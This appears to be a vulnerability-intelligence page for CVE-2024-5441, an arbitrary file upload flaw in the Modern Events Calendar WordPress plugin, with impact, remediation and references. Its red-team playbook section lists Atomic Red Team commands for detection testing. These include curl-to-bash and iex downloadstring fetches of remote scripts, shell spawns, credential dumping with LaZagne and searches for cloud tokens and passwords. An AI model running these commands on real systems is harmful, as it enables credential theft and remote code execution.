CVE-2024-5441
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the set_featured_image function of the Modern Events Calendar WordPress plugin. The root cause is the lack of proper sanitization and validation of uploaded files, allowing malicious files to be accepted. The affected component is the event submission and image setting functionality in all plugin versions up to and including 7.11.0.
Vulnerability Description
The Modern Events Calendar plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the set_featured_image function in all versions up to, and including, 7.11.0. This makes it possible for authenticated attackers, with subscriber access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. The plugin allows administrators (via its settings) to extend the ability to submit events to unauthenticated users, which would allow unauthenticated attackers to exploit this vulnerability.
Impact
Exploiting this vulnerability enables attackers with subscriber or higher privileges, or unauthenticated users if event submission is enabled for them, to upload arbitrary files to the server. This can lead to remote code execution, allowing attackers to execute malicious code, potentially compromising the web server and underlying infrastructure. The attack requires network access to the WordPress site and, depending on configuration, may not require authentication (AV:N/AC:L/PR:L/UI:N). The business impact includes unauthorized control over the website, data breaches, and service disruption.
Solution
Webnus has addressed this issue in versions released after 7.11.0 of the Modern Events Calendar plugin. Users should upgrade to the latest plugin version available from the official Webnus website (https://webnus.net/modern-events-calendar/) or the WordPress plugin repository. Detailed patch instructions and updates are documented in the vendor's advisory linked at https://www.wordfence.com/threat-intel/vulnerabilities/id/0c007090-9d9b-4ee7-8f77-91abd4373051. Administrators should also review event submission settings to restrict unauthenticated event creation as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Modern Events Calendar plugin for WordPress stems from inadequate file type validation within the set_featured_image function, which is present in all versions up to and including 7.11.0. This flaw allows authenticated users, including those with subscriber-level access, to upload arbitrary files to the server. The absence of stringent checks on the file types being uploaded means that attackers can exploit this weakness to introduce malicious files, potentially leading to remote code execution. The implications of this vulnerability are particularly concerning given that the plugin's settings can be configured by administrators to permit event submissions from unauthenticated users. This configuration effectively broadens the attack surface, allowing unauthenticated attackers to leverage the vulnerability without needing to authenticate.
Attack vectors associated with this vulnerability are multifaceted. An authenticated attacker could directly upload malicious files through the event submission feature, while an unauthenticated user could exploit the configuration settings that allow public submissions. Once a malicious file is uploaded, it could be executed on the server, granting the attacker the ability to run arbitrary code. This could lead to a variety of malicious activities, including data exfiltration, website defacement, or even the establishment of a backdoor for persistent access. The ease with which an attacker can exploit this vulnerability, especially with the potential for unauthenticated access, raises significant concerns regarding the security posture of affected websites.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on their online presence for operations. Successful exploitation could lead to unauthorized access to sensitive data, including customer information, payment details, or proprietary business data. The consequences of such breaches can be far-reaching, resulting in financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Additionally, the ability to execute remote code could allow attackers to pivot to other systems within the network, further amplifying the risk and potential damage.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, updating the Modern Events Calendar plugin to the latest version is critical, as this will address the underlying issue of file type validation. Regularly auditing and monitoring file uploads can help identify any unauthorized or suspicious files that may have been uploaded prior to remediation. Employing a web application firewall (WAF) can provide an additional layer of security by filtering out malicious requests and blocking known attack patterns. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have the access necessary for their roles, thereby limiting the potential for exploitation.
In conclusion, the vulnerability present in the Modern Events Calendar plugin poses a significant risk to WordPress sites, especially those allowing public event submissions. The combination of inadequate file validation and the potential for unauthenticated access creates a pathway for malicious actors to compromise server integrity. Organizations must prioritize timely updates, robust monitoring, and stringent access controls to safeguard against exploitation and mitigate the associated risks. By taking proactive measures, businesses can protect their digital assets and maintain the trust of their users.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Webnus | Modern Events Calendar | All |
cpe:2.3:a:webnus:modern_events_calendar:*:*:*:*:*:*:*:*
|
|
|
Webnus | Modern Events Calendar Lite | All |
cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-5441 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/0c007090-9d9b-4ee7-8f77-91abd4373051?source=cve |
| webnus.net |
GitHub CVE
|
https://webnus.net/modern-events-calendar/ |